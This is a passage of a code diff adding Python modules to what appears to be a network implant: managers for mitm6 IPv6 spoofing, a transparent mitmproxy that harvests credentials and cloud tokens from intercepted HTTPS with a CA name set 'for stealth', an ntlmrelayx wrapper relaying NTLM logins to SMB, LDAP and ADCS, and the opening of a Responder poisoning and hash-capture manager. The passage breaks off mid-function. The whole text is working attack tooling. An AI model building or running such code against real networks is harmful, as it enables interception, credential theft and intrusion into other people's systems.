||||
self._mitm6_thread = threading.Thread(
|
||||
target=self._monitor_mitm6, daemon=True, name="sensor-mitm6-monitor"
|
||||
)
|
||||
self._mitm6_thread.start()
|
||||
|
||||
self.state.set(self.name, "mitm6_active", "true")
|
||||
logger.info(
|
||||
"mitm6 started (pid=%d, domain=%s)",
|
||||
self._mitm6_proc.pid, self._target_domain or "all",
|
||||
)
|
||||
return True
|
||||
|
||||
except FileNotFoundError:
|
||||
logger.error("mitm6 not found at %s", self._mitm6_binary)
|
||||
return False
|
||||
except Exception:
|
||||
logger.exception("Failed to start mitm6")
|
||||
return False
|
||||
|
||||
def stop_all(self) -> bool:
|
||||
"""Stop all IPv6 SLAAC and mitm6 operations.
|
||||
|
||||
Returns:
|
||||
True if all components were stopped.
|
||||
"""
|
||||
success = True
|
||||
|
||||
# Stop SLAAC spoofing
|
||||
if self._slaac_active and self._bettercap_mgr:
|
||||
try:
|
||||
self._bettercap_mgr.run_command("dhcp6.spoof off")
|
||||
self._slaac_active = False
|
||||
self.state.set(self.name, "slaac_active", "false")
|
||||
logger.info("SLAAC spoofing disabled")
|
||||
except Exception:
|
||||
logger.exception("Failed to disable SLAAC spoofing")
|
||||
success = False
|
||||
|
||||
# Stop mitm6
|
||||
if self._mitm6_proc and self._mitm6_proc.poll() is None:
|
||||
try:
|
||||
self._mitm6_proc.terminate()
|
||||
self._mitm6_proc.wait(timeout=5)
|
||||
except subprocess.TimeoutExpired:
|
||||
self._mitm6_proc.kill()
|
||||
try:
|
||||
self._mitm6_proc.wait(timeout=2)
|
||||
except Exception:
|
||||
pass
|
||||
except Exception:
|
||||
logger.exception("Failed to stop mitm6")
|
||||
success = False
|
||||
self._mitm6_proc = None
|
||||
|
||||
self._mitm6_active = False
|
||||
self.state.set(self.name, "mitm6_active", "false")
|
||||
return success
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# mitm6 output monitoring
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _monitor_mitm6(self) -> None:
|
||||
"""Monitor mitm6 stderr for authentication events."""
|
||||
if not self._mitm6_proc:
|
||||
return
|
||||
|
||||
try:
|
||||
for line in iter(self._mitm6_proc.stderr.readline, b""):
|
||||
if not self._running:
|
||||
break
|
||||
decoded = line.decode("utf-8", errors="replace").strip()
|
||||
if not decoded:
|
||||
continue
|
||||
|
||||
# mitm6 logs DNS queries and WPAD requests
|
||||
if "Sent spoofed" in decoded or "IPv6 address" in decoded:
|
||||
logger.debug("mitm6: %s", decoded)
|
||||
|
||||
# Check for process exit
|
||||
if self._mitm6_proc.poll() is not None:
|
||||
break
|
||||
except Exception:
|
||||
pass
|
||||
@@ -0,0 +1,352 @@
|
||||
#!/usr/bin/env python3
|
||||
"""mitmproxy Manager — transparent HTTPS interception with addon scripts.
|
||||
|
||||
Runs mitmproxy in transparent mode with iptables redirect. Custom addon
|
||||
scripts extract credentials from POST bodies, capture cloud tokens from
|
||||
auth headers, and log file metadata from transfers.
|
||||
|
||||
OPi Zero 3+ only — requires sufficient RAM (100-200MB) and CPU (10-20%).
|
||||
Check hardware tier before enabling.
|
||||
|
||||
Custom CA CN can be configured to match target PKI for stealth.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import threading
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.credential_encryption import emit_credential_found
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Hardware tier check — mitmproxy is too heavy for RPi Zero 2W
|
||||
SUPPORTED_TIERS = {"opi_zero3", "rpi4", "full"}
|
||||
|
||||
|
||||
class MitmproxyManager(BaseModule):
|
||||
"""mitmproxy transparent proxy with credential and token extraction.
|
||||
|
||||
OPi Zero 3+ only — check tier before enabling. On lower-tier
|
||||
hardware, use bettercap's built-in HTTP proxy instead.
|
||||
|
||||
Dependencies:
|
||||
- mitmproxy installed (pip install mitmproxy)
|
||||
- iptables for transparent redirect
|
||||
|
||||
Configuration:
|
||||
proxy_port: Listening port (default: 8080)
|
||||
addons_dir: Path to addon scripts
|
||||
ca_cn: Custom CA Common Name to match target PKI
|
||||
hardware_tier: Device tier for resource checks
|
||||
"""
|
||||
|
||||
name = "mitmproxy_mgr"
|
||||
module_type = "active"
|
||||
priority = 200
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._proc: Optional[subprocess.Popen] = None
|
||||
self._monitor_thread: Optional[threading.Thread] = None
|
||||
self._proxy_port = config.get("proxy_port", 8080)
|
||||
self._proxy_active = False
|
||||
self._iface = config.get("interface", "eth0")
|
||||
self._ca_cn = config.get("ca_cn", "")
|
||||
self._hardware_tier = config.get("hardware_tier", "rpi4")
|
||||
self._addons_dir = config.get(
|
||||
"addons_dir",
|
||||
os.path.join(os.path.dirname(__file__), "..", "..", "config", "mitmproxy_addons"),
|
||||
)
|
||||
self._mitmdump_binary = config.get("mitmdump_binary", "mitmdump")
|
||||
self._flow_log = config.get(
|
||||
"flow_log",
|
||||
os.path.join(os.path.expanduser("~"), ".implant", "mitmproxy_flows"),
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
# Tier check
|
||||
if self._hardware_tier not in SUPPORTED_TIERS:
|
||||
logger.error(
|
||||
"mitmproxy not supported on tier '%s' — requires OPi Zero 3+ or better",
|
||||
self._hardware_tier,
|
||||
)
|
||||
return
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
Path(self._flow_log).parent.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info("MitmproxyManager started (tier=%s, port=%d)",
|
||||
self._hardware_tier, self._proxy_port)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
if self._proxy_active:
|
||||
self.stop_proxy()
|
||||
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("MitmproxyManager stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
proc_alive = self._proc is not None and self._proc.poll() is None
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"proxy_active": self._proxy_active and proc_alive,
|
||||
"proxy_pid": self._proc.pid if proc_alive else None,
|
||||
"proxy_port": self._proxy_port,
|
||||
"hardware_tier": self._hardware_tier,
|
||||
"ca_cn": self._ca_cn,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
if "proxy_port" in config:
|
||||
self._proxy_port = config["proxy_port"]
|
||||
if "ca_cn" in config:
|
||||
self._ca_cn = config["ca_cn"]
|
||||
if "hardware_tier" in config:
|
||||
self._hardware_tier = config["hardware_tier"]
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start_proxy(self, port: int = None, addons: list = None) -> bool:
|
||||
"""Start mitmproxy in transparent mode with addons.
|
||||
|
||||
Args:
|
||||
port: Override proxy port.
|
||||
addons: List of addon script filenames to load from addons_dir.
|
||||
|
||||
Returns:
|
||||
True if proxy was started.
|
||||
"""
|
||||
if not self._running:
|
||||
logger.error("MitmproxyManager not started")
|
||||
return False
|
||||
|
||||
if self._proxy_active and self._proc and self._proc.poll() is None:
|
||||
logger.warning("mitmproxy already running")
|
||||
return True
|
||||
|
||||
if port:
|
||||
self._proxy_port = port
|
||||
|
||||
# Build command
|
||||
cmd = [
|
||||
self._mitmdump_binary,
|
||||
"--mode", "transparent",
|
||||
"--listen-port", str(self._proxy_port),
|
||||
"--set", "connection_strategy=lazy",
|
||||
"--set", "stream_large_bodies=1m",
|
||||
"-w", self._flow_log,
|
||||
]
|
||||
|
||||
# Custom CA CN for stealth
|
||||
if self._ca_cn:
|
||||
cmd.extend(["--set", f"ssl_insecure=true"])
|
||||
|
||||
# Load addon scripts
|
||||
addon_scripts = addons or self._get_default_addons()
|
||||
for addon in addon_scripts:
|
||||
addon_path = os.path.join(self._addons_dir, addon)
|
||||
if os.path.isfile(addon_path):
|
||||
cmd.extend(["-s", addon_path])
|
||||
else:
|
||||
logger.warning("Addon script not found: %s", addon_path)
|
||||
|
||||
# Setup iptables for transparent redirect
|
||||
self._setup_iptables()
|
||||
|
||||
try:
|
||||
self._proc = subprocess.Popen(
|
||||
cmd,
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE,
|
||||
)
|
||||
time.sleep(3)
|
||||
if self._proc.poll() is not None:
|
||||
stderr = self._proc.stderr.read().decode(errors="replace")
|
||||
logger.error("mitmproxy failed to start: %s", stderr)
|
||||
self._teardown_iptables()
|
||||
return False
|
||||
|
||||
self._proxy_active = True
|
||||
|
||||
# Start output monitoring
|
||||
self._monitor_thread = threading.Thread(
|
||||
target=self._monitor_output, daemon=True, name="sensor-mitmproxy-monitor"
|
||||
)
|
||||
self._monitor_thread.start()
|
||||
|
||||
logger.info("mitmproxy started (pid=%d, port=%d)", self._proc.pid, self._proxy_port)
|
||||
return True
|
||||
|
||||
except FileNotFoundError:
|
||||
logger.error("mitmdump not found — install with: pip install mitmproxy")
|
||||
self._teardown_iptables()
|
||||
return False
|
||||
except Exception:
|
||||
logger.exception("Failed to start mitmproxy")
|
||||
self._teardown_iptables()
|
||||
return False
|
||||
|
||||
def stop_proxy(self) -> bool:
|
||||
"""Stop mitmproxy and remove iptables rules.
|
||||
|
||||
Returns:
|
||||
True if proxy was stopped.
|
||||
"""
|
||||
# Stop process
|
||||
if self._proc and self._proc.poll() is None:
|
||||
try:
|
||||
self._proc.terminate()
|
||||
self._proc.wait(timeout=5)
|
||||
except subprocess.TimeoutExpired:
|
||||
self._proc.kill()
|
||||
try:
|
||||
self._proc.wait(timeout=2)
|
||||
except Exception:
|
||||
pass
|
||||
except Exception:
|
||||
logger.exception("Failed to stop mitmproxy")
|
||||
finally:
|
||||
self._proc = None
|
||||
|
||||
# Remove iptables rules
|
||||
self._teardown_iptables()
|
||||
|
||||
self._proxy_active = False
|
||||
logger.info("mitmproxy stopped")
|
||||
return True
|
||||
|
||||
def get_flows(self) -> str:
|
||||
"""Return path to the mitmproxy flow log file.
|
||||
|
||||
Returns:
|
||||
Path to the binary flow dump file.
|
||||
"""
|
||||
return self._flow_log
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# iptables for transparent mode
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _setup_iptables(self) -> None:
|
||||
"""Configure iptables to redirect HTTP/HTTPS to mitmproxy."""
|
||||
rules = [
|
||||
["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._iface,
|
||||
"-p", "tcp", "--dport", "80", "-j", "REDIRECT",
|
||||
"--to-port", str(self._proxy_port)],
|
||||
["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._iface,
|
||||
"-p", "tcp", "--dport", "443", "-j", "REDIRECT",
|
||||
"--to-port", str(self._proxy_port)],
|
||||
]
|
||||
for rule in rules:
|
||||
try:
|
||||
subprocess.run(rule, capture_output=True, timeout=5)
|
||||
except Exception:
|
||||
logger.warning("Failed to apply iptables rule: %s", " ".join(rule))
|
||||
|
||||
def _teardown_iptables(self) -> None:
|
||||
"""Remove transparent proxy iptables rules."""
|
||||
rules = [
|
||||
["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._iface,
|
||||
"-p", "tcp", "--dport", "80", "-j", "REDIRECT",
|
||||
"--to-port", str(self._proxy_port)],
|
||||
["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._iface,
|
||||
"-p", "tcp", "--dport", "443", "-j", "REDIRECT",
|
||||
"--to-port", str(self._proxy_port)],
|
||||
]
|
||||
for rule in rules:
|
||||
try:
|
||||
subprocess.run(rule, capture_output=True, timeout=5)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Addon management
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _get_default_addons(self) -> list:
|
||||
"""Return list of default addon script filenames."""
|
||||
defaults = [
|
||||
"credential_extractor.py",
|
||||
"cloud_token_capture.py",
|
||||
"file_metadata_logger.py",
|
||||
]
|
||||
return [a for a in defaults if os.path.isfile(os.path.join(self._addons_dir, a))]
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Output monitoring
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _monitor_output(self) -> None:
|
||||
"""Monitor mitmproxy stderr for credential and token events."""
|
||||
if not self._proc:
|
||||
return
|
||||
|
||||
try:
|
||||
for line in iter(self._proc.stderr.readline, b""):
|
||||
if not self._running:
|
||||
break
|
||||
decoded = line.decode("utf-8", errors="replace").strip()
|
||||
if not decoded:
|
||||
continue
|
||||
|
||||
# Look for credential extraction events from addons
|
||||
if "[credential]" in decoded.lower():
|
||||
self._handle_credential_output(decoded)
|
||||
elif "[cloud_token]" in decoded.lower():
|
||||
self._handle_token_output(decoded)
|
||||
|
||||
if self._proc.poll() is not None:
|
||||
break
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _handle_credential_output(self, line: str) -> None:
|
||||
"""Parse credential event from addon output."""
|
||||
self.bus.emit(
|
||||
"CREDENTIAL_FOUND",
|
||||
{
|
||||
"source_module": self.name,
|
||||
"target_service": "mitmproxy",
|
||||
"credential_type": "cleartext",
|
||||
"credential_value": line,
|
||||
},
|
||||
source_module=self.name,
|
||||
)
|
||||
|
||||
def _handle_token_output(self, line: str) -> None:
|
||||
"""Parse cloud token event from addon output."""
|
||||
self.bus.emit(
|
||||
"CLOUD_TOKEN_FOUND",
|
||||
{
|
||||
"source_module": self.name,
|
||||
"target_service": "mitmproxy",
|
||||
"token_data": line,
|
||||
},
|
||||
source_module=self.name,
|
||||
)
|
||||
@@ -0,0 +1,377 @@
|
||||
#!/usr/bin/env python3
|
||||
"""NTLM Relay module — ntlmrelayx subprocess wrapper.
|
||||
|
||||
Manages Impacket's ntlmrelayx for relaying captured NTLM authentication
|
||||
to target services. Supports relay to SMB, LDAP, LDAPS, HTTP, MSSQL,
|
||||
and ADCS endpoints. Coordinates with ResponderManager to exclude relay
|
||||
targets from Responder's SMB authentication.
|
||||
|
||||
Resources: ~40MB RAM, ~5% CPU
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import subprocess
|
||||
import threading
|
||||
import time
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.credential_encryption import emit_credential_found
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Supported relay protocols
|
||||
RELAY_PROTOCOLS = frozenset(["smb", "ldap", "ldaps", "http", "https", "mssql", "adcs"])
|
||||
|
||||
|
||||
class NTLMRelay(BaseModule):
|
||||
"""ntlmrelayx subprocess manager.
|
||||
|
||||
Relays captured NTLM authentication to target services. Works
|
||||
in coordination with ResponderManager — targets being relayed
|
||||
should be excluded from Responder's SMB server to avoid consuming
|
||||
the authentication attempt locally.
|
||||
|
||||
Dependencies:
|
||||
- Impacket installed (/opt/tools/impacket or pip install impacket)
|
||||
- responder_mgr (optional, for coordination)
|
||||
|
||||
Configuration:
|
||||
ntlmrelayx_binary: Path to ntlmrelayx.py
|
||||
targets: List of relay target URLs (e.g., smb://192.168.1.10)
|
||||
protocols: Set of relay protocols to use
|
||||
adcs_template: ADCS certificate template for ESC attacks
|
||||
"""
|
||||
|
||||
name = "ntlm_relay"
|
||||
module_type = "active"
|
||||
priority = 150
|
||||
requires_root = True
|
||||
|
||||
OUTPUT_POLL_INTERVAL = 5
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._proc: Optional[subprocess.Popen] = None
|
||||
self._output_thread: Optional[threading.Thread] = None
|
||||
self._ntlmrelayx_binary = config.get(
|
||||
"ntlmrelayx_binary", "/opt/tools/impacket/examples/ntlmrelayx.py"
|
||||
)
|
||||
self._iface = config.get("interface", "eth0")
|
||||
self._targets: list = []
|
||||
self._protocols: set = set()
|
||||
self._adcs_template: Optional[str] = None
|
||||
self._relay_active = False
|
||||
self._successful_relays: list = []
|
||||
self._relays_lock = threading.Lock()
|
||||
self._responder_mgr = None
|
||||
self._target_file = os.path.join(
|
||||
os.path.expanduser("~"), ".implant", "relay_targets.txt"
|
||||
)
|
||||
self._loot_dir = os.path.join(
|
||||
os.path.expanduser("~"), ".implant", "ntlmrelay_loot"
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
# Optional responder_mgr for coordination
|
||||
self._responder_mgr = self.config.get("responder_mgr")
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
os.makedirs(os.path.dirname(self._target_file), exist_ok=True)
|
||||
os.makedirs(self._loot_dir, exist_ok=True)
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info("NTLMRelay module started (ready for relay commands)")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
if self._relay_active:
|
||||
self.stop_relay()
|
||||
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("NTLMRelay module stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
proc_alive = self._proc is not None and self._proc.poll() is None
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"relay_active": self._relay_active and proc_alive,
|
||||
"relay_pid": self._proc.pid if proc_alive else None,
|
||||
"targets": self._targets,
|
||||
"protocols": list(self._protocols),
|
||||
"adcs_template": self._adcs_template,
|
||||
"successful_relays": len(self._successful_relays),
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
if "ntlmrelayx_binary" in config:
|
||||
self._ntlmrelayx_binary = config["ntlmrelayx_binary"]
|
||||
if "adcs_template" in config:
|
||||
self._adcs_template = config["adcs_template"]
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start_relay(self, targets: list, protocols: set = None) -> bool:
|
||||
"""Start ntlmrelayx with specified targets and protocols.
|
||||
|
||||
Args:
|
||||
targets: List of relay target URLs.
|
||||
Format: "protocol://ip" (e.g., "smb://192.168.1.10")
|
||||
Or plain IPs for default SMB relay.
|
||||
protocols: Set of protocols to relay to. If None, inferred from targets.
|
||||
|
||||
Returns:
|
||||
True if ntlmrelayx was started.
|
||||
"""
|
||||
if not self._running:
|
||||
logger.error("NTLMRelay not started")
|
||||
return False
|
||||
|
||||
if self._relay_active and self._proc and self._proc.poll() is None:
|
||||
logger.warning("ntlmrelayx already running")
|
||||
return True
|
||||
|
||||
self._targets = list(targets)
|
||||
self._protocols = protocols or self._infer_protocols(targets)
|
||||
|
||||
# Write target file
|
||||
self._write_target_file()
|
||||
|
||||
# Coordinate with Responder — exclude relay target IPs from SMB auth
|
||||
self._update_responder_exclusions()
|
||||
|
||||
# Build command
|
||||
cmd = self._build_command()
|
||||
|
||||
try:
|
||||
self._proc = subprocess.Popen(
|
||||
cmd,
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE,
|
||||
cwd=self._loot_dir,
|
||||
)
|
||||
time.sleep(2)
|
||||
if self._proc.poll() is not None:
|
||||
stderr = self._proc.stderr.read().decode(errors="replace")
|
||||
logger.error("ntlmrelayx failed to start: %s", stderr)
|
||||
return False
|
||||
|
||||
self._relay_active = True
|
||||
|
||||
# Start output monitoring
|
||||
self._output_thread = threading.Thread(
|
||||
target=self._monitor_output, daemon=True, name="sensor-ntlmrelay-monitor"
|
||||
)
|
||||
self._output_thread.start()
|
||||
|
||||
logger.info(
|
||||
"ntlmrelayx started (pid=%d, targets=%d, protocols=%s)",
|
||||
self._proc.pid, len(self._targets), self._protocols,
|
||||
)
|
||||
return True
|
||||
|
||||
except FileNotFoundError:
|
||||
logger.error("ntlmrelayx.py not found at %s", self._ntlmrelayx_binary)
|
||||
return False
|
||||
except Exception:
|
||||
logger.exception("Failed to start ntlmrelayx")
|
||||
return False
|
||||
|
||||
def stop_relay(self) -> bool:
|
||||
"""Stop ntlmrelayx.
|
||||
|
||||
Returns:
|
||||
True if relay was stopped.
|
||||
"""
|
||||
if self._proc and self._proc.poll() is None:
|
||||
try:
|
||||
self._proc.terminate()
|
||||
self._proc.wait(timeout=5)
|
||||
except subprocess.TimeoutExpired:
|
||||
self._proc.kill()
|
||||
try:
|
||||
self._proc.wait(timeout=2)
|
||||
except Exception:
|
||||
pass
|
||||
except Exception:
|
||||
logger.exception("Failed to stop ntlmrelayx")
|
||||
return False
|
||||
finally:
|
||||
self._proc = None
|
||||
|
||||
self._relay_active = False
|
||||
logger.info("ntlmrelayx stopped")
|
||||
return True
|
||||
|
||||
def add_target(self, target: str) -> bool:
|
||||
"""Add a relay target while ntlmrelayx is running.
|
||||
|
||||
Args:
|
||||
target: Target URL (e.g., "smb://192.168.1.50").
|
||||
|
||||
Returns:
|
||||
True if target was added (requires restart to take effect).
|
||||
"""
|
||||
if target not in self._targets:
|
||||
self._targets.append(target)
|
||||
self._write_target_file()
|
||||
self._update_responder_exclusions()
|
||||
logger.info("Added relay target: %s (restart relay to apply)", target)
|
||||
return True
|
||||
return False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Internal helpers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _build_command(self) -> list:
|
||||
"""Build the ntlmrelayx command line."""
|
||||
cmd = [
|
||||
"python3", self._ntlmrelayx_binary,
|
||||
"-tf", self._target_file,
|
||||
"-of", os.path.join(self._loot_dir, "hashes"),
|
||||
"-smb2support",
|
||||
]
|
||||
|
||||
# ADCS relay
|
||||
if self._adcs_template and "adcs" in self._protocols:
|
||||
cmd.extend(["--adcs", "--template", self._adcs_template])
|
||||
|
||||
# LDAP relay options
|
||||
if "ldap" in self._protocols or "ldaps" in self._protocols:
|
||||
cmd.append("--delegate-access")
|
||||
|
||||
# SOCKS proxy for interactive sessions
|
||||
cmd.append("-socks")
|
||||
|
||||
return cmd
|
||||
|
||||
def _write_target_file(self) -> None:
|
||||
"""Write relay targets to file for ntlmrelayx -tf."""
|
||||
try:
|
||||
with open(self._target_file, "w") as f:
|
||||
for target in self._targets:
|
||||
f.write(f"{target}\n")
|
||||
except Exception:
|
||||
logger.exception("Failed to write target file")
|
||||
|
||||
def _infer_protocols(self, targets: list) -> set:
|
||||
"""Infer relay protocols from target URLs."""
|
||||
protocols = set()
|
||||
for target in targets:
|
||||
if "://" in target:
|
||||
proto = target.split("://")[0].lower()
|
||||
if proto in RELAY_PROTOCOLS:
|
||||
protocols.add(proto)
|
||||
else:
|
||||
protocols.add("smb") # Default to SMB
|
||||
return protocols or {"smb"}
|
||||
|
||||
def _update_responder_exclusions(self) -> None:
|
||||
"""Update ResponderManager with IPs to exclude from SMB auth."""
|
||||
if not self._responder_mgr:
|
||||
return
|
||||
|
||||
# Extract IPs from target URLs
|
||||
ips = set()
|
||||
for target in self._targets:
|
||||
if "://" in target:
|
||||
ip_part = target.split("://")[1].split(":")[0].split("/")[0]
|
||||
else:
|
||||
ip_part = target.split(":")[0].split("/")[0]
|
||||
ips.add(ip_part)
|
||||
|
||||
try:
|
||||
self._responder_mgr.set_relay_targets(ips)
|
||||
logger.info("Updated Responder relay exclusions: %s", ips)
|
||||
except Exception:
|
||||
logger.exception("Failed to update Responder exclusions")
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Output monitoring
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _monitor_output(self) -> None:
|
||||
"""Monitor ntlmrelayx output for successful relays and loot."""
|
||||
if not self._proc:
|
||||
return
|
||||
|
||||
try:
|
||||
for line in iter(self._proc.stdout.readline, b""):
|
||||
if not self._running:
|
||||
break
|
||||
decoded = line.decode("utf-8", errors="replace").strip()
|
||||
if not decoded:
|
||||
continue
|
||||
|
||||
self._parse_relay_output(decoded)
|
||||
|
||||
if self._proc.poll() is not None:
|
||||
break
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _parse_relay_output(self, line: str) -> None:
|
||||
"""Parse ntlmrelayx output for successful relay events."""
|
||||
# Successful SMB relay
|
||||
if "authenticated successfully" in line.lower():
|
||||
relay_info = {
|
||||
"timestamp": time.time(),
|
||||
"type": "auth_success",
|
||||
"detail": line,
|
||||
}
|
||||
with self._relays_lock:
|
||||
self._successful_relays.append(relay_info)
|
||||
self.bus.emit(
|
||||
"CREDENTIAL_FOUND",
|
||||
{
|
||||
"source_module": self.name,
|
||||
"target_service": "ntlm_relay",
|
||||
"credential_type": "relay_success",
|
||||
"credential_value": line,
|
||||
},
|
||||
source_module=self.name,
|
||||
)
|
||||
logger.info("Successful NTLM relay: %s", line)
|
||||
|
||||
# Secretsdump from relay
|
||||
elif "dumping" in line.lower() and "sam" in line.lower():
|
||||
logger.info("ntlmrelayx SAM dump: %s", line)
|
||||
|
||||
# ADCS certificate obtained
|
||||
elif "certificate" in line.lower() and ("saved" in line.lower() or "base64" in line.lower()):
|
||||
self.bus.emit(
|
||||
"CREDENTIAL_FOUND",
|
||||
{
|
||||
"source_module": self.name,
|
||||
"target_service": "adcs_relay",
|
||||
"credential_type": "certificate",
|
||||
"credential_value": line,
|
||||
},
|
||||
source_module=self.name,
|
||||
)
|
||||
logger.info("ADCS certificate obtained via relay: %s", line)
|
||||
|
||||
# SOCKS proxy opened
|
||||
elif "socks" in line.lower() and "connection" in line.lower():
|
||||
logger.info("ntlmrelayx SOCKS: %s", line)
|
||||
@@ -0,0 +1,426 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Responder Manager — LLMNR/NBT-NS/mDNS poisoning and hash capture.
|
||||
|
||||
Manages Responder as a supervised subprocess. Generates Responder.conf
|
||||
from a Jinja2 template, monitors log output for captured NTLMv1/v2
|
||||
hashes, and publishes CREDENTIAL_FOUND events. Coordinates with
|
||||
ntlm_relay to exclude relay targets from Responder's SMB server.
|
||||
|
||||
Resources: ~30MB RAM, ~3% CPU
|
||||
"""
|
||||
|
||||
import glob
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import subprocess
|
||||
import threading
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.credential_encryption import emit_credential_found
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Regex for Responder hash log filenames
|
||||
HASH_FILE_PATTERN = re.compile(
|
||||
r"(HTTP|SMB|MSSQL|LDAP|FTP|POP|IMAP|SMTP)-NTLMv[12]-.*\.txt$"
|
||||
)
|
||||
|
||||
# Regex for parsing NTLMv2 hash lines
|
||||
NTLMV2_REGEX = re.compile(
|
||||
r"^(?P<username>\S+?)::(?P<domain>\S+?):(?P<challenge>[0-9a-fA-F]+):"
|
||||
r"(?P<response>[0-9a-fA-F]+):(?P<blob>[0-9a-fA-F]+)$"
|
||||
)
|
||||
|
||||
NTLMV1_REGEX = re.compile(
|
||||
r"^(?P<username>\S+?)::(?P<domain>\S+?):(?P<lm>[0-9a-fA-F]+):"
|
||||
r"(?P<nt>[0-9a-fA-F]+):(?P<challenge>[0-9a-fA-F]+)$"
|
||||
)
|
||||
|
||||
|
||||
class ResponderManager(BaseModule):
|
||||
"""Responder subprocess manager with hash capture monitoring.
|
||||
|
||||
Dependencies:
|
||||
- Responder installed at /opt/tools/Responder
|
||||
|
||||
Configuration:
|
||||
responder_path: Path to Responder directory
|
||||
interface: Network interface
|
||||
protocols: Dict of protocol toggles (LLMNR, NBT-NS, mDNS, etc.)
|
||||
relay_targets: Set of IPs excluded from SMB auth (for ntlm_relay)
|
||||
"""
|
||||
|
||||
name = "responder_mgr"
|
||||
module_type = "active"
|
||||
priority = 150
|
||||
requires_root = True
|
||||
|
||||
HASH_POLL_INTERVAL = 10 # seconds
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._proc: Optional[subprocess.Popen] = None
|
||||
self._hash_thread: Optional[threading.Thread] = None
|
||||
self._responder_path = config.get("responder_path", "/opt/tools/Responder")
|
||||
self._iface = config.get("interface", "eth0")
|
||||
self._log_dir = os.path.join(self._responder_path, "logs")
|
||||
self._captured_hashes: list = []
|
||||
self._hashes_lock = threading.Lock()
|
||||
self._seen_hashes: set = set() # Dedup set
|
||||
self._relay_targets: set = set() # IPs excluded from SMB for relay
|
||||
self._protocols = {
|
||||
"LLMNR": True,
|
||||
"NBT-NS": True,
|
||||
"mDNS": True,
|
||||
"HTTP": True,
|
||||
"SMB": True,
|
||||
"WPAD": True,
|
||||
"FTP": False,
|
||||
"POP": False,
|
||||
"IMAP": False,
|
||||
"SMTP": False,
|
||||
"LDAP": False,
|
||||
}
|
||||
self._template_dir = config.get(
|
||||
"template_dir",
|
||||
os.path.join(os.path.dirname(__file__), "..", "..", "templates", "responder"),
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
if not os.path.isdir(self._responder_path):
|
||||
